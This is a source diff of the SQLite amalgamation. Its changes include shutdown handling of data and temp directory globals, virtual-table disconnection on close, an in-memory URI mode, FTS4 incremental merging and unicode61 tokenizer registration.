** If the following global variable points to a string which is the
+
** name of a directory, then that directory will be used to store
+
** all database files specified with a relative pathname.
+
**
+
** See also the "PRAGMA data_store_directory" SQL command.
+
*/
+
SQLITE_API char *sqlite3_data_directory = 0;
+

+
/*
** Initialize SQLite.  
**
** This routine must be called to initialize the memory allocation,
@@ -112708,6 +113866,18 @@ SQLITE_API int sqlite3_shutdown(void){
  if( sqlite3GlobalConfig.isMallocInit ){
    sqlite3MallocEnd();
    sqlite3GlobalConfig.isMallocInit = 0;
+

+
#ifndef SQLITE_OMIT_SHUTDOWN_DIRECTORIES
+
    /* The heap subsystem has now been shutdown and these values are supposed
+
    ** to be NULL or point to memory that was obtained from sqlite3_malloc(),
+
    ** which would rely on that heap subsystem; therefore, make sure these
+
    ** values cannot refer to heap memory that was just invalidated when the
+
    ** heap subsystem was shutdown.  This is only done if the current call to
+
    ** this function resulted in the heap subsystem actually being shutdown.
+
    */
+
    sqlite3_data_directory = 0;
+
    sqlite3_temp_directory = 0;
+
#endif
  }
  if( sqlite3GlobalConfig.isMutexInit ){
    sqlite3MutexEnd();
@@ -113157,6 +114327,30 @@ static void functionDestroy(sqlite3 *db, FuncDef *p){
}

/*
+
** Disconnect all sqlite3_vtab objects that belong to database connection
+
** db. This is called when db is being closed.
+
*/
+
static void disconnectAllVtab(sqlite3 *db){
+
#ifndef SQLITE_OMIT_VIRTUALTABLE
+
  int i;
+
  sqlite3BtreeEnterAll(db);
+
  for(i=0; i<db->nDb; i++){
+
    Schema *pSchema = db->aDb[i].pSchema;
+
    if( db->aDb[i].pSchema ){
+
      HashElem *p;
+
      for(p=sqliteHashFirst(&pSchema->tblHash); p; p=sqliteHashNext(p)){
+
        Table *pTab = (Table *)sqliteHashData(p);
+
        if( IsVirtual(pTab) ) sqlite3VtabDisconnect(db, pTab);
+
      }
+
    }
+
  }
+
  sqlite3BtreeLeaveAll(db);
+
#else
+
  UNUSED_PARAMETER(db);
+
#endif
+
}
+

+
/*
** Close an existing SQLite database
*/
SQLITE_API int sqlite3_close(sqlite3 *db){
@@ -113171,10 +114365,10 @@ SQLITE_API int sqlite3_close(sqlite3 *db){
  }
  sqlite3_mutex_enter(db->mutex);

-
  /* Force xDestroy calls on all virtual tables */
-
  sqlite3ResetInternalSchema(db, -1);
+
  /* Force xDisconnect calls on all virtual tables */
+
  disconnectAllVtab(db);

-
  /* If a transaction is open, the ResetInternalSchema() call above
+
  /* If a transaction is open, the disconnectAllVtab() call above
  ** will not have called the xDisconnect() method on any virtual
  ** tables in the db->aVTrans[] array. The following sqlite3VtabRollback()
  ** call will do so. We need to do this before the check for active
@@ -113205,6 +114399,7 @@ SQLITE_API int sqlite3_close(sqlite3 *db){
  /* Free any outstanding Savepoint structures. */
  sqlite3CloseSavepoints(db);

+
  /* Close all database connections */
  for(j=0; j<db->nDb; j++){
    struct Db *pDb = &db->aDb[j];
    if( pDb->pBt ){
@@ -113215,15 +114410,22 @@ SQLITE_API int sqlite3_close(sqlite3 *db){
      }
    }
  }
-
  sqlite3ResetInternalSchema(db, -1);
+
  /* Clear the TEMP schema separately and last */
+
  if( db->aDb[1].pSchema ){
+
    sqlite3SchemaClear(db->aDb[1].pSchema);
+
  }
+
  sqlite3VtabUnlockList(db);
+

+
  /* Free up the array of auxiliary databases */
+
  sqlite3CollapseDatabaseArray(db);
+
  assert( db->nDb<=2 );
+
  assert( db->aDb==db->aDbStatic );

  /* Tell the code in notify.c that the connection no longer holds any
  ** locks and does not require any further unlock-notify callbacks.
  */
  sqlite3ConnectionClosed(db);

-
  assert( db->nDb<=2 );
-
  assert( db->aDb==db->aDbStatic );
  for(j=0; j<ArraySize(db->aFunc.a); j++){
    FuncDef *pNext, *pHash, *p;
    for(p=db->aFunc.a[j]; p; p=pHash){
@@ -113310,7 +114512,7 @@ SQLITE_PRIVATE void sqlite3RollbackAll(sqlite3 *db, int tripCode){

  if( db->flags&SQLITE_InternChanges ){
    sqlite3ExpirePreparedStatements(db);
-
    sqlite3ResetInternalSchema(db, -1);
+
    sqlite3ResetAllSchemasOfConnection(db);
  }

  /* Any deferred constraint violations have now been resolved. */
@@ -114448,10 +115650,12 @@ SQLITE_PRIVATE int sqlite3ParseUri(
            { "ro",  SQLITE_OPEN_READONLY },
            { "rw",  SQLITE_OPEN_READWRITE }, 
            { "rwc", SQLITE_OPEN_READWRITE | SQLITE_OPEN_CREATE },
+
            { "memory", SQLITE_OPEN_MEMORY },
            { 0, 0 }
          };

-
          mask = SQLITE_OPEN_READONLY|SQLITE_OPEN_READWRITE|SQLITE_OPEN_CREATE;
+
          mask = SQLITE_OPEN_READONLY | SQLITE_OPEN_READWRITE
+
                   | SQLITE_OPEN_CREATE | SQLITE_OPEN_MEMORY;
          aMode = aOpenMode;
          limit = mask & flags;
          zModeType = "access";
@@ -114472,7 +115676,7 @@ SQLITE_PRIVATE int sqlite3ParseUri(
            rc = SQLITE_ERROR;
            goto parse_uri_out;
          }
-
          if( mode>limit ){
+
          if( (mode & ~SQLITE_OPEN_MEMORY)>limit ){
            *pzErrMsg = sqlite3_mprintf("%s mode not allowed: %s",
                                        zModeType, zVal);
            rc = SQLITE_PERM;
@@ -114491,6 +115695,7 @@ SQLITE_PRIVATE int sqlite3ParseUri(
    memcpy(zFile, zUri, nUri);
    zFile[nUri] = '\0';
    zFile[nUri+1] = '\0';
+
    flags &= ~SQLITE_OPEN_URI;
  }

  *ppVfs = sqlite3_vfs_find(zVfs);
@@ -115895,7 +117100,7 @@ SQLITE_PRIVATE void sqlite3ConnectionClosed(sqlite3 *db){
** A doclist is stored like this:
**
** array {
-
**   varint docid;
+
**   varint docid;          (delta from previous doclist)
**   array {                (position list for column 0)
**     varint position;     (2 more than the delta from previous position)
**   }
@@ -115926,8 +117131,8 @@ SQLITE_PRIVATE void sqlite3ConnectionClosed(sqlite3 *db){
** at D signals the start of a new column; the 1 at E indicates that the
** new column is column number 1.  There are two positions at 12 and 45
** (14-2 and 35-2+12).  The 0 at H indicate the end-of-document.  The
-
** 234 at I is the next docid.  It has one position 72 (72-2) and then
-
** terminates with the 0 at K.
+
** 234 at I is the delta to next docid (357).  It has one position 70
+
** (72-2) and then terminates with the 0 at K.
**
** A "position-list" is the list of positions for multiple columns for
** a single docid.  A "column-list" is the set of positions for a single
@@ -116462,6 +117667,9 @@ SQLITE_PRIVATE Fts3HashElem *sqlite3Fts3HashFindElem(const Fts3Hash *, const voi
#ifndef MIN
# define MIN(x,y) ((x)<(y)?(x):(y))
#endif
+
#ifndef MAX
+
# define MAX(x,y) ((x)>(y)?(x):(y))
+
#endif

/*
** Maximum length of a varint encoded integer. The varint format is different
@@ -116516,7 +117724,7 @@ SQLITE_PRIVATE Fts3HashElem *sqlite3Fts3HashFindElem(const Fts3Hash *, const voi
# define NEVER(X)  (0)
#else
# define ALWAYS(x) (x)
-
# define NEVER(X)  (x)
+
# define NEVER(x)  (x)
#endif

/*
@@ -116526,6 +117734,7 @@ typedef unsigned char u8; /* 1-byte (or larger) unsigned integer */
typedef short int i16;            /* 2-byte (or larger) signed integer */
typedef unsigned int u32;         /* 4-byte unsigned integer */
typedef sqlite3_uint64 u64;       /* 8-byte unsigned integer */
+
typedef sqlite3_int64 i64;        /* 8-byte signed integer */

/*
** Macro used to suppress compiler warnings for unused parameters.
@@ -116588,36 +117797,43 @@ struct Fts3Table {
  sqlite3_tokenizer *pTokenizer;  /* tokenizer for inserts and queries */
  char *zContentTbl;              /* content=xxx option, or NULL */
  char *zLanguageid;              /* languageid=xxx option, or NULL */
+
  u8 bAutoincrmerge;              /* True if automerge=1 */
+
  u32 nLeafAdd;                   /* Number of leaf blocks added this trans */

  /* Precompiled statements used by the implementation. Each of these 
  ** statements is run and reset within a single virtual table API call. 
  */
-
  sqlite3_stmt *aStmt[28];
+
  sqlite3_stmt *aStmt[37];

  char *zReadExprlist;
  char *zWriteExprlist;

  int nNodeSize;                  /* Soft limit for node size */
+
  u8 bFts4;                       /* True for FTS4, false for FTS3 */
  u8 bHasStat;                    /* True if %_stat table exists */
  u8 bHasDocsize;                 /* True if %_docsize table exists */
  u8 bDescIdx;                    /* True if doclists are in reverse order */
+
  u8 bIgnoreSavepoint;            /* True to ignore xSavepoint invocations */
  int nPgsz;                      /* Page size for host database */
  char *zSegmentsTbl;             /* Name of %_segments table */
  sqlite3_blob *pSegments;        /* Blob handle open on %_segments table */

-
  /* TODO: Fix the first paragraph of this comment.
-
  **
+
  /* 
  ** The following array of hash tables is used to buffer pending index 
-
  ** updates during transactions. Variable nPendingData estimates the memory 
-
  ** size of the pending data, including hash table overhead, not including
-
  ** malloc overhead.  When nPendingData exceeds nMaxPendingData, the buffer 
-
  ** is flushed automatically. Variable iPrevDocid is the docid of the most 
-
  ** recently inserted record.
+
  ** updates during transactions. All pending updates buffered at any one
+
  ** time must share a common language-id (see the FTS4 langid= feature).
+
  ** The current language id is stored in variable iPrevLangid.
  **
  ** A single FTS4 table may have multiple full-text indexes. For each index
  ** there is an entry in the aIndex[] array. Index 0 is an index of all the
  ** terms that appear in the document set. Each subsequent index in aIndex[]
  ** is an index of prefixes of a specific length.
+
  **
+
  ** Variable nPendingData contains an estimate the memory consumed by the 
+
  ** pending data structures, including hash table overhead, but not including
+
  ** malloc overhead.  When nPendingData exceeds nMaxPendingData, all hash
+
  ** tables are flushed to disk. Variable iPrevDocid is the docid of the most 
+
  ** recently inserted record.
  */
  int nIndex;                     /* Size of aIndex[] */
  struct Fts3Index {
@@ -116816,6 +118032,7 @@ SQLITE_PRIVATE int sqlite3Fts3DeferToken(Fts3Cursor *, Fts3PhraseToken *, int);
SQLITE_PRIVATE int sqlite3Fts3CacheDeferredDoclists(Fts3Cursor *);
SQLITE_PRIVATE void sqlite3Fts3FreeDeferredDoclists(Fts3Cursor *);
SQLITE_PRIVATE void sqlite3Fts3SegmentsClose(Fts3Table *);
+
SQLITE_PRIVATE int sqlite3Fts3MaxLevel(Fts3Table *, int *);

/* Special values interpreted by sqlite3SegReaderCursor() */
#define FTS3_SEGCURSOR_PENDING        -1
@@ -116867,6 +118084,8 @@ struct Fts3MultiSegReader {
  int nDoclist;                   /* Size of aDoclist[] in bytes */
};

+
SQLITE_PRIVATE int sqlite3Fts3Incrmerge(Fts3Table*,int,int);
+

/* fts3.c */
SQLITE_PRIVATE int sqlite3Fts3PutVarint(char *, sqlite3_int64);
SQLITE_PRIVATE int sqlite3Fts3GetVarint(const char *, sqlite_int64 *);
@@ -116876,6 +118095,7 @@ SQLITE_PRIVATE void sqlite3Fts3Dequote(char *);
SQLITE_PRIVATE void sqlite3Fts3DoclistPrev(int,char*,int,char**,sqlite3_int64*,int*,u8*);
SQLITE_PRIVATE int sqlite3Fts3EvalPhraseStats(Fts3Cursor *, Fts3Expr *, u32 *);
SQLITE_PRIVATE int sqlite3Fts3FirstFilter(sqlite3_int64, char *, int, char *);
+
SQLITE_PRIVATE void sqlite3Fts3CreateStatTable(int*, Fts3Table*);

/* fts3_tokenizer.c */
SQLITE_PRIVATE const char *sqlite3Fts3NextToken(const char *, int *);
@@ -116915,12 +118135,19 @@ SQLITE_PRIVATE int sqlite3Fts3MsrIncrStart(
    Fts3Table*, Fts3MultiSegReader*, int, const char*, int);
SQLITE_PRIVATE int sqlite3Fts3MsrIncrNext(
    Fts3Table *, Fts3MultiSegReader *, sqlite3_int64 *, char **, int *);
-
SQLITE_PRIVATE char *sqlite3Fts3EvalPhrasePoslist(Fts3Cursor *, Fts3Expr *, int iCol); 
+
SQLITE_PRIVATE int sqlite3Fts3EvalPhrasePoslist(Fts3Cursor *, Fts3Expr *, int iCol, char **); 
SQLITE_PRIVATE int sqlite3Fts3MsrOvfl(Fts3Cursor *, Fts3MultiSegReader *, int *);
SQLITE_PRIVATE int sqlite3Fts3MsrIncrRestart(Fts3MultiSegReader *pCsr);

SQLITE_PRIVATE int sqlite3Fts3DeferredTokenList(Fts3DeferredToken *, char **, int *);

+
/* fts3_unicode2.c (functions generated by parsing unicode text files) */
+
#ifdef SQLITE_ENABLE_FTS4_UNICODE61
+
SQLITE_PRIVATE int sqlite3FtsUnicodeFold(int, int);
+
SQLITE_PRIVATE int sqlite3FtsUnicodeIsalnum(int);
+
SQLITE_PRIVATE int sqlite3FtsUnicodeIsdiacritic(int);
+
#endif
+

#endif /* !SQLITE_CORE || SQLITE_ENABLE_FTS3 */
#endif /* _FTSINT_H */

@@ -117206,6 +118433,18 @@ static void fts3DeclareVtab(int *pRc, Fts3Table *p){
}

/*
+
** Create the %_stat table if it does not already exist.
+
*/
+
SQLITE_PRIVATE void sqlite3Fts3CreateStatTable(int *pRc, Fts3Table *p){
+
  fts3DbExec(pRc, p->db, 
+
      "CREATE TABLE IF NOT EXISTS %Q.'%q_stat'"
+
          "(id INTEGER PRIMARY KEY, value BLOB);",
+
      p->zDb, p->zName
+
  );
+
  if( (*pRc)==SQLITE_OK ) p->bHasStat = 1;
+
}
+

+
/*
** Create the backing store tables (%_content, %_segments and %_segdir)
** required by the FTS3 table passed as the only argument. This is done
** as part of the vtab xCreate() method.
@@ -117265,11 +118504,9 @@ static int fts3CreateTables(Fts3Table *p){
        p->zDb, p->zName
    );
  }
+
  assert( p->bHasStat==p->bFts4 );
  if( p->bHasStat ){
-
    fts3DbExec(&rc, db, 
-
        "CREATE TABLE %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);",
-
        p->zDb, p->zName
-
    );
+
    sqlite3Fts3CreateStatTable(&rc, p);
  }
  return rc;
}
@@ -117910,7 +119147,9 @@ static int fts3InitVtab(
  p->nMaxPendingData = FTS3_MAX_PENDING_DATA;
  p->bHasDocsize = (isFts4 && bNoDocsize==0);
  p->bHasStat = isFts4;
+
  p->bFts4 = isFts4;
  p->bDescIdx = bDescIdx;
+
  p->bAutoincrmerge = 0xff;   /* 0xff means setting unknown */
  p->zContentTbl = zContent;
  p->zLanguageid = zLanguageid;
  zContent = 0;
@@ -117963,6 +119202,16 @@ static int fts3InitVtab(
    rc = fts3CreateTables(p);
  }

+
  /* Check to see if a legacy fts3 table has been "upgraded" by the
+
  ** addition of a %_stat table so that it can use incremental merge.
+
  */
+
  if( !isFts4 && !isCreate ){
+
    int rc2 = SQLITE_OK;
+
    fts3DbExec(&rc2, db, "SELECT 1 FROM %Q.'%q_stat' WHERE id=2",
+
               p->zDb, p->zName);
+
    if( rc2==SQLITE_OK ) p->bHasStat = 1;
+
  }
+

  /* Figure out the page-size for the database. This is required in order to
  ** estimate the cost of loading large doclists from the database.  */
  fts3DatabasePageSize(&rc, p);
@@ -119306,7 +120555,7 @@ static int fts3SegReaderCursor(
*/
SQLITE_PRIVATE int sqlite3Fts3SegReaderCursor(
  Fts3Table *p,                   /* FTS3 table handle */
-
  int iLangid,
+
  int iLangid,                    /* Language-id to search */
  int iIndex,                     /* Index to search (from 0 to p->nIndex-1) */
  int iLevel,                     /* Level of segments to scan */
  const char *zTerm,              /* Term to query for */
@@ -119324,12 +120573,7 @@ SQLITE_PRIVATE int sqlite3Fts3SegReaderCursor(
  assert( FTS3_SEGCURSOR_ALL<0 && FTS3_SEGCURSOR_PENDING<0 );
  assert( isPrefix==0 || isScan==0 );

-
  /* "isScan" is only set to true by the ft4aux module, an ordinary
-
  ** full-text tables. */
-
  assert( isScan==0 || p->aIndex==0 );
-

  memset(pCsr, 0, sizeof(Fts3MultiSegReader));
-

  return fts3SegReaderCursor(
      p, iLangid, iIndex, iLevel, zTerm, nTerm, isPrefix, isScan, pCsr
  );
@@ -119594,7 +120838,7 @@ static int fts3FilterMethod(
    if( nVal==2 ) pCsr->iLangid = sqlite3_value_int(apVal[1]);

    rc = sqlite3Fts3ExprParse(p->pTokenizer, pCsr->iLangid,
-
        p->azColumn, p->bHasStat, p->nColumn, iCol, zQuery, -1, &pCsr->pExpr
+
        p->azColumn, p->bFts4, p->nColumn, iCol, zQuery, -1, &pCsr->pExpr
    );
    if( rc!=SQLITE_OK ){
      if( rc==SQLITE_ERROR ){
@@ -119737,8 +120981,42 @@ static int fts3UpdateMethod(
** hash-table to the database.
*/
static int fts3SyncMethod(sqlite3_vtab *pVtab){
-
  int rc = sqlite3Fts3PendingTermsFlush((Fts3Table *)pVtab);
-
  sqlite3Fts3SegmentsClose((Fts3Table *)pVtab);
+

+
  /* Following an incremental-merge operation, assuming that the input
+
  ** segments are not completely consumed (the usual case), they are updated
+
  ** in place to remove the entries that have already been merged. This
+
  ** involves updating the leaf block that contains the smallest unmerged
+
  ** entry and each block (if any) between the leaf and the root node. So
+
  ** if the height of the input segment b-trees is N, and input segments
+
  ** are merged eight at a time, updating the input segments at the end
+
  ** of an incremental-merge requires writing (8*(1+N)) blocks. N is usually
+
  ** small - often between 0 and 2. So the overhead of the incremental
+
  ** merge is somewhere between 8 and 24 blocks. To avoid this overhead
+
  ** dwarfing the actual productive work accomplished, the incremental merge
+
  ** is only attempted if it will write at least 64 leaf blocks. Hence
+
  ** nMinMerge.
+
  **
+
  ** Of course, updating the input segments also involves deleting a bunch
+
  ** of blocks from the segments table. But this is not considered overhead
+
  ** as it would also be required by a crisis-merge that used the same input 
+
  ** segments.
+
  */
+
  const u32 nMinMerge = 64;       /* Minimum amount of incr-merge work to do */
+

+
  Fts3Table *p = (Fts3Table*)pVtab;
+
  int rc = sqlite3Fts3PendingTermsFlush(p);
+

+
  if( rc==SQLITE_OK && p->bAutoincrmerge==1 && p->nLeafAdd>(nMinMerge/16) ){
+
    int mxLevel = 0;              /* Maximum relative level value in db */
+
    int A;                        /* Incr-merge parameter A */
+

+
    rc = sqlite3Fts3MaxLevel(p, &mxLevel);
+
    assert( rc==SQLITE_OK || mxLevel==0 );
+
    A = p->nLeafAdd * mxLevel;
+
    A += (A/2);
+
    if( A>(int)nMinMerge ) rc = sqlite3Fts3Incrmerge(p, A, 8);
+
  }
+
  sqlite3Fts3SegmentsClose(p);
  return rc;
}

@@ -119746,13 +121024,14 @@ static int fts3SyncMethod(sqlite3_vtab *pVtab){
** Implementation of xBegin() method. This is a no-op.
*/
static int fts3BeginMethod(sqlite3_vtab *pVtab){
-
  TESTONLY( Fts3Table *p = (Fts3Table*)pVtab );
+
  Fts3Table *p = (Fts3Table*)pVtab;
  UNUSED_PARAMETER(pVtab);
  assert( p->pSegments==0 );
  assert( p->nPendingData==0 );
  assert( p->inTransaction!=1 );
  TESTONLY( p->inTransaction = 1 );
  TESTONLY( p->mxSavepoint = -1; );
+
  p->nLeafAdd = 0;
  return SQLITE_OK;
}

@@ -120047,11 +121326,15 @@ static int fts3RenameMethod(
** Flush the contents of the pending-terms table to disk.
*/
static int fts3SavepointMethod(sqlite3_vtab *pVtab, int iSavepoint){
+
  int rc = SQLITE_OK;
  UNUSED_PARAMETER(iSavepoint);
  assert( ((Fts3Table *)pVtab)->inTransaction );
  assert( ((Fts3Table *)pVtab)->mxSavepoint < iSavepoint );
  TESTONLY( ((Fts3Table *)pVtab)->mxSavepoint = iSavepoint );
-
  return fts3SyncMethod(pVtab);
+
  if( ((Fts3Table *)pVtab)->bIgnoreSavepoint==0 ){
+
    rc = fts3SyncMethod(pVtab);
+
  }
+
  return rc;
}

/*
@@ -120133,6 +121416,9 @@ static void hashDestroy(void *p){
*/
SQLITE_PRIVATE void sqlite3Fts3SimpleTokenizerModule(sqlite3_tokenizer_module const**ppModule);
SQLITE_PRIVATE void sqlite3Fts3PorterTokenizerModule(sqlite3_tokenizer_module const**ppModule);
+
#ifdef SQLITE_ENABLE_FTS4_UNICODE61
+
SQLITE_PRIVATE void sqlite3Fts3UnicodeTokenizer(sqlite3_tokenizer_module const**ppModule);
+
#endif
#ifdef SQLITE_ENABLE_ICU
SQLITE_PRIVATE void sqlite3Fts3IcuTokenizerModule(sqlite3_tokenizer_module const**ppModule);
#endif
@@ -120148,12 +121434,19 @@ SQLITE_PRIVATE int sqlite3Fts3Init(sqlite3 *db){
  Fts3Hash *pHash = 0;
  const sqlite3_tokenizer_module *pSimple = 0;
  const sqlite3_tokenizer_module *pPorter = 0;
+
#ifdef SQLITE_ENABLE_FTS4_UNICODE61
+
  const sqlite3_tokenizer_module *pUnicode = 0;
+
#endif

#ifdef SQLITE_ENABLE_ICU
  const sqlite3_tokenizer_module *pIcu = 0;
  sqlite3Fts3IcuTokenizerModule(&pIcu);
#endif

+
#ifdef SQLITE_ENABLE_FTS4_UNICODE61
+
  sqlite3Fts3UnicodeTokenizer(&pUnicode);
+
#endif
+

#ifdef SQLITE_TEST
  rc = sqlite3Fts3InitTerm(db);
  if( rc!=SQLITE_OK ) return rc;
@@ -120177,6 +121470,10 @@ SQLITE_PRIVATE int sqlite3Fts3Init(sqlite3 *db){
  if( rc==SQLITE_OK ){
    if( sqlite3Fts3HashInsert(pHash, "simple", 7, (void *)pSimple)
     || sqlite3Fts3HashInsert(pHash, "porter", 7, (void *)pPorter) 
+

+
#ifdef SQLITE_ENABLE_FTS4_UNICODE61
+
     || sqlite3Fts3HashInsert(pHash, "unicode61", 10, (void *)pUnicode) 
+
#endif
#ifdef SQLITE_ENABLE_ICU
     || (pIcu && sqlite3Fts3HashInsert(pHash, "icu", 4, (void *)pIcu))
#endif
@@ -120524,7 +121821,7 @@ SQLITE_PRIVATE void sqlite3Fts3DoclistPrev(
  int nDoclist,                   /* Length of aDoclist in bytes */
  char **ppIter,                  /* IN/OUT: Iterator pointer */
  sqlite3_int64 *piDocid,         /* IN/OUT: Docid pointer */
-
  int *pnList,                    /* IN/OUT: List length pointer */
+
  int *pnList,                    /* OUT: List length pointer */
  u8 *pbEof                       /* OUT: End-of-file flag */
){
  char *p = *ppIter;
@@ -120572,6 +121869,41 @@ SQLITE_PRIVATE void sqlite3Fts3DoclistPrev(
}

/*
+
** Iterate forwards through a doclist.
+
*/
+
SQLITE_PRIVATE void sqlite3Fts3DoclistNext(
+
  int bDescIdx,                   /* True if the doclist is desc */
+
  char *aDoclist,                 /* Pointer to entire doclist */
+
  int nDoclist,                   /* Length of aDoclist in bytes */
+
  char **ppIter,                  /* IN/OUT: Iterator pointer */
+
  sqlite3_int64 *piDocid,         /* IN/OUT: Docid pointer */
+
  u8 *pbEof                       /* OUT: End-of-file flag */
+
){
+
  char *p = *ppIter;
+

+
  assert( nDoclist>0 );
+
  assert( *pbEof==0 );
+
  assert( p || *piDocid==0 );
+
  assert( !p || (p>=aDoclist && p<=&aDoclist[nDoclist]) );
+

+
  if( p==0 ){
+
    p = aDoclist;
+
    p += sqlite3Fts3GetVarint(p, piDocid);
+
  }else{
+
    fts3PoslistCopy(0, &p);
+
    if( p>=&aDoclist[nDoclist] ){
+
      *pbEof = 1;
+
    }else{
+
      sqlite3_int64 iVar;
+
      p += sqlite3Fts3GetVarint(p, &iVar);
+
      *piDocid += ((bDescIdx ? -1 : 1) * iVar);
+
    }
+
  }
+

+
  *ppIter = p;
+
}
+

+
/*
** Attempt to move the phrase iterator to point to the next matching docid. 
** If an error occurs, return an SQLite error code. Otherwise, return 
** SQLITE_OK.
@@ -120966,7 +122298,7 @@ static int fts3EvalStart(Fts3Cursor *pCsr){
  fts3EvalAllocateReaders(pCsr, pCsr->pExpr, &nToken, &nOr, &rc);

  /* Determine which, if any, tokens in the expression should be deferred. */
-
  if( rc==SQLITE_OK && nToken>1 && pTab->bHasStat ){
+
  if( rc==SQLITE_OK && nToken>1 && pTab->bFts4 ){
    Fts3TokenAndCost *aTC;
    Fts3Expr **apOr;
    aTC = (Fts3TokenAndCost *)sqlite3_malloc(
@@ -121726,26 +123058,87 @@ SQLITE_PRIVATE int sqlite3Fts3EvalPhraseStats(
** This function works regardless of whether or not the phrase is deferred,
** incremental, or neither.
*/
-
SQLITE_PRIVATE char *sqlite3Fts3EvalPhrasePoslist(
+
SQLITE_PRIVATE int sqlite3Fts3EvalPhrasePoslist(
  Fts3Cursor *pCsr,               /* FTS3 cursor object */
  Fts3Expr *pExpr,                /* Phrase to return doclist for */
-
  int iCol                        /* Column to return position list for */
+
  int iCol,                       /* Column to return position list for */
+
  char **ppOut                    /* OUT: Pointer to position list */
){
  Fts3Phrase *pPhrase = pExpr->pPhrase;
  Fts3Table *pTab = (Fts3Table *)pCsr->base.pVtab;
-
  char *pIter = pPhrase->doclist.pList;
+
  char *pIter;
  int iThis;
+
  sqlite3_int64 iDocid;

+
  /* If this phrase is applies specifically to some column other than 
+
  ** column iCol, return a NULL pointer.  */
+
  *ppOut = 0;
  assert( iCol>=0 && iCol<pTab->nColumn );
-
  if( !pIter 
-
   || pExpr->bEof 
-
   || pExpr->iDocid!=pCsr->iPrevId
-
   || (pPhrase->iColumn<pTab->nColumn && pPhrase->iColumn!=iCol) 
-
  ){
-
    return 0;
+
  if( (pPhrase->iColumn<pTab->nColumn && pPhrase->iColumn!=iCol) ){
+
    return SQLITE_OK;
  }

-
  assert( pPhrase->doclist.nList>0 );
+
  iDocid = pExpr->iDocid;
+
  pIter = pPhrase->doclist.pList;
+
  if( iDocid!=pCsr->iPrevId || pExpr->bEof ){
+
    int bDescDoclist = pTab->bDescIdx;      /* For DOCID_CMP macro */
+
    int bOr = 0;
+
    u8 bEof = 0;
+
    Fts3Expr *p;
+

+
    /* Check if this phrase descends from an OR expression node. If not, 
+
    ** return NULL. Otherwise, the entry that corresponds to docid 
+
    ** pCsr->iPrevId may lie earlier in the doclist buffer. */
+
    for(p=pExpr->pParent; p; p=p->pParent){
+
      if( p->eType==FTSQUERY_OR ) bOr = 1;
+
    }
+
    if( bOr==0 ) return SQLITE_OK;
+

+
    /* This is the descendent of an OR node. In this case we cannot use
+
    ** an incremental phrase. Load the entire doclist for the phrase
+
    ** into memory in this case.  */
+
    if( pPhrase->bIncr ){
+
      int rc = SQLITE_OK;
+
      int bEofSave = pExpr->bEof;
+
      fts3EvalRestart(pCsr, pExpr, &rc);
+
      while( rc==SQLITE_OK && !pExpr->bEof ){
+
        fts3EvalNextRow(pCsr, pExpr, &rc);
+
        if( bEofSave==0 && pExpr->iDocid==iDocid ) break;
+
      }
+
      pIter = pPhrase->doclist.pList;
+
      assert( rc!=SQLITE_OK || pPhrase->bIncr==0 );
+
      if( rc!=SQLITE_OK ) return rc;
+
    }
+

+
    if( pExpr->bEof ){
+
      pIter = 0;
+
      iDocid = 0;
+
    }
+
    bEof = (pPhrase->doclist.nAll==0);
+
    assert( bDescDoclist==0 || bDescDoclist==1 );
+
    assert( pCsr->bDesc==0 || pCsr->bDesc==1 );
+

+
    if( pCsr->bDesc==bDescDoclist ){
+
      int dummy;
+
      while( (pIter==0 || DOCID_CMP(iDocid, pCsr->iPrevId)>0 ) && bEof==0 ){
+
        sqlite3Fts3DoclistPrev(
+
            bDescDoclist, pPhrase->doclist.aAll, pPhrase->doclist.nAll, 
+
            &pIter, &iDocid, &dummy, &bEof
+
        );
+
      }
+
    }else{
+
      while( (pIter==0 || DOCID_CMP(iDocid, pCsr->iPrevId)<0 ) && bEof==0 ){
+
        sqlite3Fts3DoclistNext(
+
            bDescDoclist, pPhrase->doclist.aAll, pPhrase->doclist.nAll, 
+
            &pIter, &iDocid, &bEof
+
        );
+
      }
+
    }
+

+
    if( bEof || iDocid!=pCsr->iPrevId ) pIter = 0;
+
  }
+
  if( pIter==0 ) return SQLITE_OK;
+

  if( *pIter==0x01 ){
    pIter++;
    pIter += sqlite3Fts3GetVarint32(pIter, &iThis);
@@ -121759,7 +123152,8 @@ SQLITE_PRIVATE char *sqlite3Fts3EvalPhrasePoslist(
    pIter += sqlite3Fts3GetVarint32(pIter, &iThis);
  }

-
  return ((iCol==iThis)?pIter:0);
+
  *ppOut = ((iCol==iThis)?pIter:0);
+
  return SQLITE_OK;
}

/*
@@ -121782,6 +123176,7 @@ SQLITE_PRIVATE void sqlite3Fts3EvalPhraseCleanup(Fts3Phrase *pPhrase){
  }
}

+

/*
** Return SQLITE_CORRUPT_VTAB.
*/
@@ -124541,10 +125936,9 @@ SQLITE_PRIVATE int sqlite3Fts3InitTokenizer(
/*
** Implementation of a special SQL scalar function for testing tokenizers 
** designed to be used in concert with the Tcl testing framework. This
-
** function must be called with two arguments:
+
** function must be called with two or more arguments:
**
-
**   SELECT <function-name>(<key-name>, <input-string>);
-
**   SELECT <function-name>(<key-name>, <pointer>);
+
**   SELECT <function-name>(<key-name>, ..., <input-string>);
**
** where <function-name> is the name passed as the second argument
** to the sqlite3Fts3InitHashTable() function (e.g. 'fts3_tokenizer')
@@ -124581,27 +125975,27 @@ static void testFunc(
  const char *zInput;
  int nInput;

-
  const char *zArg = 0;
+
  const char *azArg[64];

  const char *zToken;
  int nToken;
  int iStart;
  int iEnd;
  int iPos;
+
  int i;

  Tcl_Obj *pRet;

-
  assert( argc==2 || argc==3 );
+
  if( argc<2 ){
+
    sqlite3_result_error(context, "insufficient arguments", -1);
+
    return;
+
  }

  nName = sqlite3_value_bytes(argv[0]);
  zName = (const char *)sqlite3_value_text(argv[0]);
  nInput = sqlite3_value_bytes(argv[argc-1]);
  zInput = (const char *)sqlite3_value_text(argv[argc-1]);

-
  if( argc==3 ){
-
    zArg = (const char *)sqlite3_value_text(argv[1]);
-
  }
-

  pHash = (Fts3Hash *)sqlite3_user_data(context);
  p = (sqlite3_tokenizer_module *)sqlite3Fts3HashFind(pHash, zName, nName+1);

@@ -124615,7 +126009,11 @@ static void testFunc(
  pRet = Tcl_NewObj();
  Tcl_IncrRefCount(pRet);

-
  if( SQLITE_OK!=p->xCreate(zArg ? 1 : 0, &zArg, &pTokenizer) ){
+
  for(i=1; i<argc-1; i++){
+
    azArg[i-1] = (const char *)sqlite3_value_text(argv[i]);
+
  }
+

+
  if( SQLITE_OK!=p->xCreate(argc-2, azArg, &pTokenizer) ){
    zErr = "error in xCreate()";
    goto finish;
  }
